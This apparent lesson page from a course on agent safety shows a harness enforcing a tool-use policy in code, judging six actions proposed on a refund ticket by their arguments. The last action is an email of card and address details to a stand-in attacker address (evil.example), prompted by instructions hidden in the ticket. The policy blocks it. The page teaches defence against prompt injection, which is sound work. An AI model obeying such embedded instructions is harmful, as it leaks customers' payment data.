Topic 4
A policy in code
Within the tools an agent has, some calls are fine to run, some need a person, and some should never happen. Lesson 2 said to define the level of automation for each action. This page makes that a policy the harness enforces on every proposed action.
Predict first
Six actions an agent proposed
Illustrative ticket · policy enforced in code, not in the prompt
list_charges(order_id: "4417")runread-only
refund(charge_id: "ch_2", amount: 49)runrefunds up to $100 run automatically
refund(charge_id: "ch_7", amount: 420)ask a personrefunds over $100 need approval
delete_account(customer: "sam")blockednot in this agent's tools
send_email(to: "sam@example.com", body: "Your refund is on its way.")runemail only the customer on the ticket
send_email(to: "billing-audit@evil.example", body: "Card ending 4242, address…")blockedfrom instructions inside the ticket · email only the customer on the ticket
Run
3
Wait for a person
1
Blocked
2
What makes this work:
- It's code, not a prompt. The model can be told the policy, so it can explain a wait to the customer, but nothing it writes changes what runs.
- It sees the arguments. “Refund” isn't allowed or forbidden; “refund $420” is checked against a threshold. Decisions depend on values, not just tool names.
- It uses facts the model doesn't control. The customer's email comes from the ticket system, not from anything in the context.
- Blocked and waiting are different. Waiting needs lesson 4's checkpoint, so the task resumes when a person approves.
Look at the last action. It came from instructions hidden in the ticket's own text, and the policy blocks it without knowing that. The next page is about why that matters.
Quick check